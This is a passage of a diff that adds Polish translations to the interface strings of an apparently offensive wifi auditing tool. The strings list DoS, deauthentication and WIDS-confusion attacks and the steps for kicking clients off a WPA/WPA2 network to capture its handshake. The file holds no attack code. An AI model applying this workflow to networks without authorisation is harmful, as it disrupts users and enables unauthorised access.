arr["GREEK",106]="Γίνεται έξοδος" arr["ITALIAN",106]="Uscendo" - arr["POLISH",106]="${pending_of_translation} " + arr["POLISH",106]="${pending_of_translation} Pozostawiając" arr["ENGLISH",107]="Join the project at ${normal_color}${urlgithub}" arr["SPANISH",107]="Únete al proyecto en ${normal_color}${urlgithub}" @@ -1548,7 +1548,7 @@ function language_strings() { arr["RUSSIAN",107]="Присоединитесь к проекту на ${normal_color}${urlgithub}" arr["GREEK",107]="Συμμετέχετε στο project ${normal_color}${urlgithub}" arr["ITALIAN",107]="Unisciti al progetto in ${normal_color}${urlgithub}" - arr["POLISH",107]="${pending_of_translation} " + arr["POLISH",107]="${pending_of_translation} Dołącz do projektu w ${normal_color}${urlgithub}" arr["ENGLISH",108]="Let's check if you have installed what script needs" arr["SPANISH",108]="Vamos a chequear si tienes instalado lo que el script requiere" @@ -1558,7 +1558,7 @@ function language_strings() { arr["RUSSIAN",108]="Давайте проверим, всё ли у вас установлено, что нужно скрипту" arr["GREEK",108]="Ας ελέγξουμε αν έχετε εγκαταστήσει ό,τι χρειάζεται το script" arr["ITALIAN",108]="Andiamo a verificare se è stato installato quello che richiede lo script" - arr["POLISH",108]="${pending_of_translation} " + arr["POLISH",108]="${pending_of_translation} Sprawdźmy, czy zainstalowano co wymaga skrypt" arr["ENGLISH",109]="Essential tools: checking..." arr["SPANISH",109]="Herramientas esenciales: comprobando..." @@ -1568,7 +1568,7 @@ function language_strings() { arr["RUSSIAN",109]="Основные инструменты: проверка..." arr["GREEK",109]="Απαραίτητα εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",109]="Strumenti essenziali: controllando..." - arr["POLISH",109]="${pending_of_translation} " + arr["POLISH",109]="${pending_of_translation} Podstawowe narzędzia: sprawdzanie..." arr["ENGLISH",110]="Your distro has all necessary essential tools. Script can continue..." arr["SPANISH",110]="Tu distro tiene todas las herramientas esenciales necesarias. El script puede continuar..." @@ -1578,7 +1578,7 @@ function language_strings() { arr["RUSSIAN",110]="Ваша система имеет все необходимые основные инструменты. Скрипт может продолжать..." arr["GREEK",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["ITALIAN",110]="La tua distro ha tutti gli strumenti essenziali necessari. Lo script può continuare..." - arr["POLISH",110]="${pending_of_translation} " + arr["POLISH",110]="${pending_of_translation} Twój distro posiada wszystkie niezbędne niezbędne narzędzia. Skrypt może kontynuować..." arr["ENGLISH",111]="You need to install some essential tools before running this script" arr["SPANISH",111]="Necesitas instalar algunas herramientas esenciales antes de lanzar este script" @@ -1588,7 +1588,7 @@ function language_strings() { arr["RUSSIAN",111]="Перед работой в этом скрипте, вам нужно установить некоторые основные инструменты" arr["GREEK",111]="Χρειάζεται να εγκαταστήσετε κάποια απαραίτητα εργαλεία πριν τρέξετε το script" arr["ITALIAN",111]="È necessario installare alcuni strumenti essenziali prima di lanciare questo script" - arr["POLISH",111]="${pending_of_translation} " + arr["POLISH",111]="${pending_of_translation} Przed uruchomieniem tego skryptu musisz zainstalować kilka niezbędnych narzędzi" arr["ENGLISH",112]="Language changed to French" arr["SPANISH",112]="Idioma cambiado a Francés" @@ -1598,7 +1598,7 @@ function language_strings() { arr["RUSSIAN",112]="Язык изменён на французский" arr["GREEK",112]="Η γλώσσα άλλαξε στα Γαλλικά" arr["ITALIAN",112]="Lingua cambiata in Francese" - arr["POLISH",112]="${pending_of_translation} " + arr["POLISH",112]="${pending_of_translation} Język zmieniono na Francuski" arr["ENGLISH",113]="3. French" arr["SPANISH",113]="3. Francés" @@ -1608,7 +1608,7 @@ function language_strings() { arr["RUSSIAN",113]="3. Французский" arr["GREEK",113]="3. Γαλλικά" arr["ITALIAN",113]="3. Francese" - arr["POLISH",113]="${pending_of_translation} " + arr["POLISH",113]="${pending_of_translation} 3. Francuski" arr["ENGLISH",114]="Use it only on your own networks!!" arr["SPANISH",114]="Utilízalo solo en tus propias redes!!" @@ -1618,7 +1618,7 @@ function language_strings() { arr["RUSSIAN",114]="Используйте только на ваших собственных сетях!!" arr["GREEK",114]="Χρησιμοποιήστε το μόνο σε δικά σας δίκτυα!!" arr["ITALIAN",114]="Usalo solo nelle tue reti!!" - arr["POLISH",114]="${pending_of_translation} " + arr["POLISH",114]="${pending_of_translation} Użyj go tylko w własnych sieciach!!" arr["ENGLISH",115]="Press [Enter] key to continue..." arr["SPANISH",115]="Pulsa la tecla [Enter] para continuar..." @@ -1628,7 +1628,7 @@ function language_strings() { arr["RUSSIAN",115]="Нажмите клавишу [Enter] для продолжения..." arr["GREEK",115]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." arr["ITALIAN",115]="Premere il tasto [Enter] per continuare..." - arr["POLISH",115]="${pending_of_translation} " + arr["POLISH",115]="${pending_of_translation} Naciśnij klawisz [Enter], aby kontynuować..." arr["ENGLISH",116]="4. Catalan" arr["SPANISH",116]="4. Catalán" @@ -1638,7 +1638,7 @@ function language_strings() { arr["RUSSIAN",116]="4. Каталонский" arr["GREEK",116]="4. Καταλανικά" arr["ITALIAN",116]="4. Catalano" - arr["POLISH",116]="${pending_of_translation} " + arr["POLISH",116]="${pending_of_translation} 4. Kataloński" arr["ENGLISH",117]="Language changed to Catalan" arr["SPANISH",117]="Idioma cambiado a Catalán" @@ -1648,7 +1648,7 @@ function language_strings() { arr["RUSSIAN",117]="Язык изменён на каталонский" arr["GREEK",117]="Η γλώσσα άλλαξε στα Καταλανικά" arr["ITALIAN",117]="Lingua cambiata in Catalano" - arr["POLISH",117]="${pending_of_translation} " + arr["POLISH",117]="${pending_of_translation} Język zmienił się na Kataloński" arr["ENGLISH",118]="4. DoS attacks menu" arr["SPANISH",118]="4. Menú de ataques DoS" @@ -1658,7 +1658,7 @@ function language_strings() { arr["RUSSIAN",118]="4. Меню DoS атак" arr["GREEK",118]="4. Μενού επιθέσεων DoS" arr["ITALIAN",118]="4. Menù attacchi DoS" - arr["POLISH",118]="${pending_of_translation} " + arr["POLISH",118]="${pending_of_translation} 4. Menu ataku DoS" arr["ENGLISH",119]="5. Handshake tools menu" arr["SPANISH",119]="5. Menú de herramientas Handshake" @@ -1668,7 +1668,7 @@ function language_strings() { arr["RUSSIAN",119]="5. Меню инструментов для работы с рукопожатием" arr["GREEK",119]="5. Μενού εργαλειών Χειραψίας" arr["ITALIAN",119]="5. Menù degli strumenti Handshake" - arr["POLISH",119]="${pending_of_translation} " + arr["POLISH",119]="${pending_of_translation} 5. Menu narzędzi Handshake" arr["ENGLISH",120]="Handshake tools menu" arr["SPANISH",120]="Menú de herramientas Handshake" @@ -1678,7 +1678,7 @@ function language_strings() { arr["RUSSIAN",120]="Меню инструментов для работы с рукопожатием" arr["GREEK",120]="Μενού εργαλειών Χειραψίας" arr["ITALIAN",120]="Menù degli strumenti Handshake" - arr["POLISH",120]="${pending_of_translation} " + arr["POLISH",120]="${pending_of_translation} Menu narzędzi Handshake" arr["ENGLISH",121]="5. Capture Handshake" arr["SPANISH",121]="5. Capturar Handshake" @@ -1688,7 +1688,7 @@ function language_strings() { arr["RUSSIAN",121]="5. Захват рукопожатия" arr["GREEK",121]="5. Καταγράψτε την Χειραψία" arr["ITALIAN",121]="5. Catturare Handshake" - arr["POLISH",121]="${pending_of_translation} " + arr["POLISH",121]="${pending_of_translation} 5. Uchwyć Handshake" arr["ENGLISH",122]="6. Clean/optimize Handshake file" arr["SPANISH",122]="6. Limpiar/optimizar fichero de Handshake" @@ -1698,7 +1698,7 @@ function language_strings() { arr["RUSSIAN",122]="6. Очистка/оптимизация файла рукопожатия" arr["GREEK",122]="6. Καθαρισμός/βελτιστοποίηση του αρχείου Χειραψίας" arr["ITALIAN",122]="6. Pulire/ottimizzare file Handshake" - arr["POLISH",122]="${pending_of_translation} " + arr["POLISH",122]="${pending_of_translation} 6. Oczyść/zoptymalizować plik Handshake" arr["ENGLISH",123]="7. Return to main menu" arr["SPANISH",123]="7. Volver al menú principal" @@ -1708,7 +1708,7 @@ function language_strings() { arr["RUSSIAN",123]="7. Возврат в главное меню" arr["GREEK",123]="7. Επιστροφή στο αρχικό μενού" arr["ITALIAN",123]="7. Tornare al menu principale" - arr["POLISH",123]="${pending_of_translation} " + arr["POLISH",123]="${pending_of_translation} 7. Wróć do menu głównego" arr["ENGLISH",124]="monitor mode needed for capturing" arr["SPANISH",124]="modo monitor requerido en captura" @@ -1718,7 +1718,7 @@ function language_strings() { arr["RUSSIAN",124]="для захвата необходим режим монитора" arr["GREEK",124]="χρειάζεται η κατάσταση παρακολούθησης για την καταγραφή" arr["ITALIAN",124]="modo monitor richesto per la cattura" - arr["POLISH",124]="${pending_of_translation} " + arr["POLISH",124]="${pending_of_translation} wymagany tryb monitorowania" arr["ENGLISH",125]="There is no valid target network selected. You'll be redirected to select one" arr["SPANISH",125]="No hay una red objetivo válida seleccionada. Serás redirigido para seleccionar una" @@ -1728,7 +1728,7 @@ function language_strings() { arr["RUSSIAN",125]="Не выбрана подходящая целевая сеть. Вы будете перенаправлены на выбор сети" arr["GREEK",125]="Δεν έχει επιλεχθεί κάποιο έγκυρο δίκτυο-στόχος. Θα καθοδηγηθείτε ώστε να επιλέξετε ένα" arr["ITALIAN",125]="Nessuna rete valida selezionata come obiettivo. Sarai reindirizzato per selezionarne una" - arr["POLISH",125]="${pending_of_translation} " + arr["POLISH",125]="${pending_of_translation} Nie wybrano prawidłowej sieci docelowej. Zostaniesz przekierowany, aby wybrać a" arr["ENGLISH",126]="You have a valid WPA/WPA2 target network selected. Script can continue..." arr["SPANISH",126]="Tienes una red objetivo WPA/WPA2 válida seleccionada. El script puede continuar..." @@ -1738,7 +1738,7 @@ function language_strings() { arr["RUSSIAN",126]="У вас есть подходящая целевая сеть WPA/WPA2. Скрипт может продолжать..." arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA/WPA2. Το script μπορεί να συνεχίσει..." arr["ITALIAN",126]="Hai selezionato una rete WPA/WPA2 valida. Lo script può continuare..." - arr["POLISH",126]="${pending_of_translation} " + arr["POLISH",126]="${pending_of_translation} Wybrano ważną sieć docelową WPA/WPA2. Skrypt może kontynuować..." arr["ENGLISH",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake" arr["SPANISH",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake" @@ -1748,7 +1748,7 @@ function language_strings() { arr["RUSSIAN",127]="Естественный порядок работы в этом меню: 1-Выбрать wifi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожатие" arr["GREEK",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την Χειραψία" arr["ITALIAN",127]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Cattura Handshake" - arr["POLISH",127]="${pending_of_translation} " + arr["POLISH",127]="${pending_of_translation} Naturalnym sposobem kontynuowania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitora 3-Wybierz sieć docelową 4-Uchwyć Handshake" arr["ENGLISH",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["SPANISH",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" @@ -1758,7 +1758,7 @@ function language_strings() { arr["RUSSIAN",128]="Выберите wifi карту для работы, чтобы вы могли выполнить больше действий, чем с ethernet интерфейсом" arr["GREEK",128]="Επιλέξτε κάρτα wifi ώστε να μπορείτε να έχετε περισσοτερες επιλογές από μία διεπαφή ethernet" arr["ITALIAN",128]="Seleziona un'interfaccia wifi per poter eseguire più azioni che con un interfaccia ethernet" - arr["POLISH",128]="${pending_of_translation} " + arr["POLISH",128]="${pending_of_translation} Wybierz interfejs wifi, aby wykonać więcej czynności niż z interfejsem sieci ethernet" arr["ENGLISH",129]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack" arr["SPANISH",129]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Comienza el ataque" @@ -1768,7 +1768,7 @@ function language_strings() { arr["RUSSIAN",129]="Обычный порядок работы в этом меню: 1-Выберите wifi карту 2-Переведите её в режим монитора 3-Выберите целевую сеть 4-Запустите атаку" arr["GREEK",129]="Η διαδικασία για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Ξεκινήστε την επίθεση" arr["ITALIAN",129]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Inizia l'attacco" - arr["POLISH",129]="${pending_of_translation} " + arr["POLISH",129]="${pending_of_translation} Naturalnym sposobem działania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitora 3-Wybierz sieć docelową 4-Początek ataku" arr["ENGLISH",130]="Remember to select a target network with clients to capture Handshake" arr["SPANISH",130]="Recuerda seleccionar una red objetivo con clientes para capturar el Handshake" @@ -1778,7 +1778,7 @@ function language_strings() { arr["RUSSIAN",130]="Не забудьте выбрать целевую сеть с клиентами для захвата рукопожатия" arr["GREEK",130]="Θυμηθείτε να επιλέξετε ένα δίκτυο-στόχος με έναν ή παραπάνω χρήστες για να καταγράψετε μία Χειραψία" arr["ITALIAN",130]="Ricorda di selezionare una rete di destinazione con clienti per poter catturare l'Handshake" - arr["POLISH",130]="${pending_of_translation} " + arr["POLISH",130]="${pending_of_translation} Pamiętaj, aby wybrać sieć docelową z klientami, aby uchwycić Handshake" arr["ENGLISH",131]="Not all attacks affect all access points. If an attack is not working against an access point, choose another one :)" arr["SPANISH",131]="No todos los ataques afectan a todos los puntos de acceso. Si un ataque no funciona contra un punto de acceso, elige otro :)" @@ -1788,7 +1788,7 @@ function language_strings() { arr["RUSSIAN",131]="Не все атаки справляются со всеми точками доступа. Если атака не работает в отношении точки доступа, выберите другую :)" arr["GREEK",131]="Δεν είναι όλες οι επιθέσεις αποτελεσματικές σε όλα τα σημεία πρόσβασης. Αν μια επίθεση δεν δουλεύει ενάντια σε ένα σημείο πρόσβασης, διαλέξτε κάποια άλλη :)" arr["ITALIAN",131]="Non tutti gli attacchi funzionano su tutti gli access point. Se un attacco non funziona contro un access point, selezionane un altro :)" - arr["POLISH",131]="${pending_of_translation} " + arr["POLISH",131]="${pending_of_translation} Nie wszystkie ataki wpływają na wszystkie punkty dostępu. Jeśli atak nie działa przeciwko punktowi dostępowemu, wybierz inny :)" arr["ENGLISH",132]="Cleaning a Handshake file is recommended only for big size files. It's better to have a backup, sometimes file can be corrupted while cleaning it" arr["SPANISH",132]="Limpiar un fichero de Handshake se recomienda solo para ficheros grandes. Es mejor hacer una copia de seguridad antes, a veces el fichero se puede corromper al limpiarlo" @@ -1798,7 +1798,7 @@ function language_strings() { arr["RUSSIAN",132]="Очистка файла рукопожатия рекомендована только для файлов больших размеров. Лучше иметь резервную копию, иногда во время очистки файл может быть повреждён" arr["GREEK",132]="Ο καθαρισμός ενός αρχείου Χειραψίας συνιστάται μόνο για μεγάλου μεγέθους αρχεία. Καλύτερα κρατήστε ένα backup, μερικές φορές το αρχείο μπορεί να καταστραφεί κατά τη διάρκεια του καθαρισμού" arr["ITALIAN",132]="Pulire un file di Handshake è consigliato solo per file di grandi dimensioni. Meglio fare un backup prima, a volte il file si può corrompere con la pulizia" - arr["POLISH",132]="${pending_of_translation} " + arr["POLISH",132]="${pending_of_translation} Usunięcie pliku Handshake jest zalecane tylko w przypadku dużych plików. Lepiej jest tworzyć kopie zapasowe, czasami plik może być uszkodzony podczas czyszczenia" arr["ENGLISH",133]="If you select a target network with hidden ESSID, you can't use it, but you can perform BSSID based attacks to that network" arr["SPANISH",133]="Si seleccionas una red objetivo con el ESSID oculto, no podrás usarlo, pero puedes hacer ataques basados en BSSID sobre esa red" @@ -1808,7 +1808,7 @@ function language_strings() { arr["RUSSIAN",133]="Если вы выбрали целевую сеть со скрытым ESSID, вы не сможете использовать её, но вы можете выполнить атаку на эту сеть на основе BSSID" arr["GREEK",133]="Αν επιλέξετε ένα δίκτυο-στόχος με κρυφό ESSID, δεν μπορείτε να το χρησιμοποιήσετε, αλλά μπορείτε να εκτελέσετε επιθέσεις BSSID σε αυτό το δίκτυο" arr["ITALIAN",133]="Se si seleziona una rete obiettivo con ESSID nascosto, non potrai utilizzarla, peró puoi fare attacchi a questa rete basati sul BSSID" - arr["POLISH",133]="${pending_of_translation} " + arr["POLISH",133]="${pending_of_translation} Jeśli wybierzesz sieć docelową z ukrytym identyfikatorem ESSID, nie będziesz w stanie jej używać, ale możesz atakować w oparciu o BSSID w tej sieci" arr["ENGLISH",134]="If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card" arr["SPANISH",134]="Si tu Linux es una máquina virtual, es posible que las tarjetas wifi integradas sean detectadas como ethernet. Utiliza una tarjeta wifi externa usb" @@ -1818,7 +1818,7 @@ function language_strings() { arr["RUSSIAN",134]="Если ваш Linux в виртуально машине, то интегрированная wifi карта может определиться как Ethernet. Используйте внешнюю usb wifi карту" arr["GREEK",134]="Αν το Linux σας είναι εικονική μηχανή, είναι πιθανόν οι ενσωματωμένες κάρτες wifi να εντοπιστούν σαν ethernet. Χρησιμοποιήστε μία εξωτερική usb κάρτα wifi" arr["ITALIAN",134]="Se il tuo Linux è una macchina virtuale, è possibile che le schede wireless integrate vengono rilevate come ethernet. Utilizza una scheda usb WiFi esterna" - arr["POLISH",134]="${pending_of_translation} " + arr["POLISH",134]="${pending_of_translation} Jeśli Linux jest maszyną wirtualną, możliwe jest, że zintegrowane karty wifi są wykrywane jako ethernet. Używa zewnętrznej karty usb" arr["ENGLISH",135]="Type of encryption: ${pink_color}${enc}${normal_color}" arr["SPANISH",135]="Tipo de encriptado: ${pink_color}${enc}${normal_color}" @@ -1828,7 +1828,7 @@ function language_strings() { arr["RUSSIAN",135]="Тип шифрования: ${pink_color}${enc}${normal_color}" arr["GREEK",135]="Τύπος κρυπτογράφησης: ${pink_color}${enc}${normal_color}" arr["ITALIAN",135]="Tipo di crittografia: ${pink_color}${enc}${normal_color}" - arr["POLISH",135]="${pending_of_translation} " + arr["POLISH",135]="${pending_of_translation} Typ szyfrowania: ${pink_color}${enc}${normal_color}" arr["ENGLISH",136]="Obtaining a Handshake is only for networks with encryption WPA or WPA2" arr["SPANISH",136]="La obtención de un Handshake es solo para redes con encriptación WPA o WPA2" @@ -1838,7 +1838,7 @@ function language_strings() { arr["RUSSIAN",136]="Получение рукопожатия только для сетей с шифрованием WPA или WPA2" arr["GREEK",136]="Η απόκτηση μιας Χειραψίας ισχύει μόνο σε δίκτυα με κρυπτογράφηση WPA ή WPA2" arr["ITALIAN",136]="Ottenere un Handshake è possibile solo per le reti con crittografia WPA o WPA2" - arr["POLISH",136]="${pending_of_translation} " + arr["POLISH",136]="${pending_of_translation} Uzyskiwanie uzgadniania dotyczy tylko sieci z szyfrowaniem WPA lub WPA2" arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA or WPA2" arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA o WPA2" @@ -1848,7 +1848,7 @@ function language_strings() { arr["RUSSIAN",137]="Выбранная сеть не подходит. Для получения рукопожатия, тип шифрования должен быть WPA или WPA2" arr["GREEK",137]="Το επιλεγμένο δίκτυο είναι άκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA ή WPA2" arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA o WPA2" - arr["POLISH",137]="${pending_of_translation} " + arr["POLISH",137]="${pending_of_translation} Wybrana sieć nie jest prawidłowa. Aby uzyskać uzgadnianie, typem szyfrowania sieci docelowej musi być WPA lub WPA2" arr["ENGLISH",138]="Attack for Handshake" arr["SPANISH",138]="Ataque para Handshake" @@ -1858,7 +1858,7 @@ function language_strings() { arr["RUSSIAN",138]="Атаковать для рукопожатия" arr["GREEK",138]="Επίθεση για Χειραψία" arr["ITALIAN",138]="Attacco per Handshake" - arr["POLISH",138]="${pending_of_translation} " + arr["POLISH",138]="${pending_of_translation} Atak na Handshake" arr["ENGLISH",139]="1. Deauth / disassoc amok mdk3 attack" arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok mdk3" @@ -1868,7 +1868,7 @@ function language_strings() { arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok mdk3" arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",139]="${pending_of_translation} " + arr["POLISH",139]="${pending_of_translation} 1. Atak Deauth / Disassoc amok mdk3" arr["ENGLISH",140]="2. Deauth aireplay attack" arr["SPANISH",140]="2. Ataque Deauth aireplay" @@ -1878,7 +1878,7 @@ function language_strings() { arr["RUSSIAN",140]="2. Атака деаутентификации aireplay" arr["GREEK",140]="2. Επίθεση Deauth aireplay" arr["ITALIAN",140]="2. Attacco Deauth aireplay" - arr["POLISH",140]="${pending_of_translation} " + arr["POLISH",140]="${pending_of_translation} 2. Atak Deauth aireplay" arr["ENGLISH",141]="3. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",141]="3. Ataque WIDS / WIPS / WDS Confusion" @@ -1888,7 +1888,7 @@ function language_strings() { arr["RUSSIAN",141]="3. Атака смешения WIDS / WIPS / WDS" arr["GREEK",141]="3. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",141]="3. Attacco WIDS / WIPS / WDS Confusion" - arr["POLISH",141]="${pending_of_translation} " + arr["POLISH",141]="${pending_of_translation} 3. Ataki WIDS / WIPS / WDS Zamieszanie" arr["ENGLISH",142]="If the Handshake doesn't appear after an attack, try again or change the type of attack" arr["SPANISH",142]="Si tras un ataque el Handshake no aparece, vuelve a intentarlo o cambia de ataque hasta conseguirlo" @@ -1898,7 +1898,7 @@ function language_strings() { arr["RUSSIAN",142]="Если рукопожатие не появилось после атаки, попробуйте снова или измените тип атаки" arr["GREEK",142]="Αν η Χειραψία δεν εμφανιστεί μετά από την επίθεση, προσπαθήστε ξανά ή αλλάξτε τύπο επίθεσης" arr["ITALIAN",142]=" Se dopo un attacco non compare l'Handshake, prova di nuovo o cambia attacco fino ad ottenerlo" - arr["POLISH",142]="${pending_of_translation} " + arr["POLISH",142]="${pending_of_translation} Jeśli po ataku Handshake nie pojawi się, spróbuj ponownie lub zmień atak, dopóki nie otrzymasz tego" arr["ENGLISH",143]="Two windows will be opened. One with the Handshake capturer and other with the attack to force clients to reconnect" arr["SPANISH",143]="Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarles a reconectar" @@ -1908,17 +1908,17 @@ function language_strings() { arr["RUSSIAN",143]="Будут открыты два окна. Одно с захватчиком рукопожатия, а другое с атакой для принудительного переподключения клиентов" arr["GREEK",143]="Θα ανοίξουν δύο παράθυρα. Ένα με τον καταγραφέα Χειραψίας, και ένα με την επίθεση εξαναγκασμένης επανασύνδεσης των χρηστών" arr["ITALIAN",143]="Si apriranno due finestre. Una con il catturatore dell'Handshake, l'altra con l'attacco per cacciare i clienti e costringerli a riconnettersi" - arr["POLISH",143]="${pending_of_translation} " + arr["POLISH",143]="${pending_of_translation} Otwierają się dwa okna. Jedna z grabberem Handshake, a druga atakiem, aby wyrzucić klientów i zmusić ich do ponownego połączenia" arr["ENGLISH",144]="Don't close any window manually, script will do when needed. In about 20 seconds maximum you'll know if you've got the Handshake" arr["SPANISH",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake" - arr["FRENCH",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vos saurez dans tout a plus 20 secondes si avez obtenu le Handshake" + arr["FRENCH",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vos saurez dans tout a plus 20 secondes si avez obtenu le Handshake" arr["CATALAN",144]="No tanquis manualment cap finestra, el script ho farà quan escaigui. En uns 20 segons com a màxim sabràs si vas aconseguir el Handshake" arr["PORTUGUESE",144]="Não feche nenhuma janela manualmente, o script fechará quando necessário. Em cerca de 20 segundos no máximo você vai saber se tem o Handshake" arr["RUSSIAN",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум 20 секунд вы узнаете, получили ли вы рукопожатие" arr["GREEK",144]="Μην επιχειρήσετε το κλείσιμο κάποιου παραθύρου χειροκίνητα, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου 20 δευτερόλεπτα το μέγιστο θα μάθετε αν αποκτήσατε την Χειραψία" arr["ITALIAN",144]="Non chiudere nessuna finestra manualmente, lo script lo fará cuando necessario. In 20 secondi al massimo scoprirai se hai catturato l'Handshake" - arr["POLISH",144]="${pending_of_translation} " + arr["POLISH",144]="${pending_of_translation} Nie należy ręcznie zamykać okien, skrypt wykona to w stosownych przypadkach. W ciągu co najwyżej 20 sekund dowiesz się, czy masz Handshake" arr["ENGLISH",145]="Did you get the Handshake? ${pink_color}(Look at the top right corner of the capture window) ${normal_color}${visual_choice}" arr["SPANISH",145]="¿Conseguiste el Handshake? ${pink_color}(Mira en la parte superior derecha de la ventana de captura) ${normal_color}${visual_choice}" @@ -1928,7 +1928,7 @@ function language_strings() { arr["RUSSIAN",145]="Вы получили рукопожатие? ${pink_color}(Смотрите на верхний правый угол окна захвата) ${normal_color}${visual_choice}" arr["GREEK",145]="Πήρατε την Χειραψία; ${pink_color}(Κοιτάξτε στη πάνω δεξιά γωνία του παραθύρου) ${normal_color}${visual_choice}" arr["ITALIAN",145]="Hai catturato l'Handshake? ${pink_color}(Guarda nell'angolo in alto a destra della finestra di cattura) ${normal_color}${visual_choice}" - arr["POLISH",145]="${pending_of_translation} " + arr["POLISH",145]="${pending_of_translation} Czy dostałeś Handshake? ${pink_color}(Spójrz w prawym górnym rogu okna przechwytywania) ${normal_color}${visual_choice}" arr["ENGLISH",146]="It seems we failed... try it again or choose another attack" arr["SPANISH",146]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque" @@ -1938,7 +1938,7 @@ function language_strings() { arr["RUSSIAN",146]="Кажется мы потерпели неудачу... попробуйте снова или выберите другую атаку" arr["GREEK",146]="Φαίνεται πως αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλη επίθεση" arr["ITALIAN",146]="Sembra che abbiamo fallito... riprovare o scegliere un altro attacco" - arr["POLISH",146]="${pending_of_translation} " + arr["POLISH",146]="${pending_of_translation} Wygląda na to, że nie dostaliśmy tego... spróbuj ponownie lub wybierz kolejny atak" arr["ENGLISH",147]="4. Return to Handshake tools menu" arr["SPANISH",147]="4. Volver al menú de herramientas Handshake" @@ -1948,7 +1948,7 @@ function language_strings() { arr["RUSSIAN",147]="4. Возврат в меню инструментов для работы с рукопожатием" arr["GREEK",147]="4. Επιστροφή στο μενού με τα εργαλεία Χειραψίας" arr["ITALIAN",147]="4. Torna al menu degli strumenti dell'Handshake" - arr["POLISH",147]="${pending_of_translation} " + arr["POLISH",147]="${pending_of_translation} 4. Wróć do menu narzędzi Handshake" arr["ENGLISH",148]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${handshakepath}]" arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${handshakepath}]" @@ -1958,7 +1958,7 @@ function language_strings() { arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${handshakepath}]" arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${handshakepath}]" arr["ITALIAN",148]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${handshakepath}]" - arr["POLISH",148]="${pending_of_translation} " + arr["POLISH",148]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${handshakepath}]" arr["ENGLISH",149]="Handshake file generated successfully at [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",149]="Fichero de Handshake generado con éxito en [${normal_color}${enteredpath}${blue_color}]" @@ -1968,7 +1968,7 @@ function language_strings() { arr["RUSSIAN",149]="Файл рукопожатия успешно создан в [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",149]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",149]="Handshake del file generato con successo in [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",149]="${pending_of_translation} " + arr["POLISH",149]="${pending_of_translation} Plik uzgadniania został pomyślnie wygenerowany w [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",150]="No captured Handshake file detected during this session..." arr["SPANISH",150]="No se ha detectado ningún fichero de Handshake capturado en esta sesión..." @@ -1978,7 +1978,7 @@ function language_strings() { arr["RUSSIAN",150]="За эту сессию не обнаружено захваченного 